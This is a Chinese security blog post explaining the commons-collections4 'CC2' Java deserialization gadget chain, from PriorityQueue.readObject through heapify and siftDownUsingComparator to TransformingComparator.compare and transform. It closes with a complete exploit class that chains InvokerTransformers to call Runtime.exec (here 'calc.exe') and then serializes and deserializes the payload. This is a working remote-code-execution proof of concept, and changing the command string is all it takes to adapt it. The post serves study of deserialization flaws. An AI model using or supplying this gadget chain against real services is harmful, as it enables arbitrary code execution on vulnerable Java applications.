【Web】Java反序列化之CC2——commons-collections4的新链之一

目录

关于commons-collections4

一个重要的思维模型

触发Transform的关键类:TransformingComparator

反序列化的入口:PriorityQueue

Exp


关于commons-collections4

commons-collections4 是 Apache Commons 组件库中的一个项目,它是对旧版本 commons-collections 的重构和升级。主要的区别包括:

  1. API 设计:commons-collections4 重新设计了 API,并且引入了一些新的功能和改进,同时也修复了一些旧版本中存在的 bug。

  2. 性能优化:commons-collections4 进行了性能优化,使得在实际使用中更加高效。

  3. 安全性增强:commons-collections4 引入了更多的安全性措施,以防止常见的安全漏洞。

commons-collections4有了两条新的利用链,CC2和CC4,这篇文章简单聊聊CC2

一个重要的思维模型

CC链是一条Serializable#readObject()到Transformer#transform()的调用链

触发Transform的关键类:TransformingComparator

看其compare方法就可,简单粗暴直接调用transform

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

现在我们的任务就是怎么去调用TransformingComparator的compare方法

反序列化的入口:PriorityQueue

先看PriorityQueue的构造方法,要求传入一个int和一个Comparator

 public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

再来看PriorityQueue的readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);
        final Object[] es = queue = new Object[Math.max(size, 1)];

        // Read in all elements.
        for (int i = 0, n = size; i < n; i++)
            es[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

最后调用了heapify方法

显然由构造方法传入的comparator不为null,heapify方法进了else分支调用siftDownUsingComparator

 private void heapify() {
        final Object[] es = queue;
        int n = size, i = (n >>> 1) - 1;
        final Comparator<? super E> cmp;
        if ((cmp = comparator) == null)
            for (; i >= 0; i--)
                siftDownComparable(i, (E) es[i], es, n);
        else
            for (; i >= 0; i--)
                siftDownUsingComparator(i, (E) es[i], es, n, cmp);
    }

而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法,此时我们只要令comparator为TransformingComparator即可完成利用链的调用。

 private static <T> void siftDownUsingComparator(
        int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
        // assert n > 0;
        int half = n >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = es[child];
            int right = child + 1;
            if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
                c = es[child = right];
            if (cmp.compare(x, (T) c) <= 0)
                break;
            es[k] = c;
            k = child;
        }
        es[k] = x;
    }

Exp

package com.CC2;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
相关推荐
带带老表学爬虫13 分钟前
java数据类型转换和注释
java·开发语言
千里码aicood20 分钟前
【2025】springboot教学评价管理系统(源码+文档+调试+答疑)
java·spring boot·后端·教学管理系统
彭于晏68928 分钟前
Android广播
android·java·开发语言
程序员-珍1 小时前
使用openapi生成前端请求文件报错 ‘Token “Integer“ does not exist.‘
java·前端·spring boot·后端·restful·个人开发
CXDNW1 小时前
【网络篇】计算机网络——应用层详述(笔记)
服务器·笔记·计算机网络·http·web·cdn·dns
2401_857297911 小时前
招联金融2025校招内推
java·前端·算法·金融·求职招聘
福大大架构师每日一题1 小时前
23.1 k8s监控中标签relabel的应用和原理
java·容器·kubernetes
金灰2 小时前
HTML5--裸体回顾
java·开发语言·前端·javascript·html·html5
菜鸟一皓2 小时前
IDEA的lombok插件不生效了?!!
java·ide·intellij-idea
爱上语文2 小时前
Java LeetCode每日一题
java·开发语言·leetcode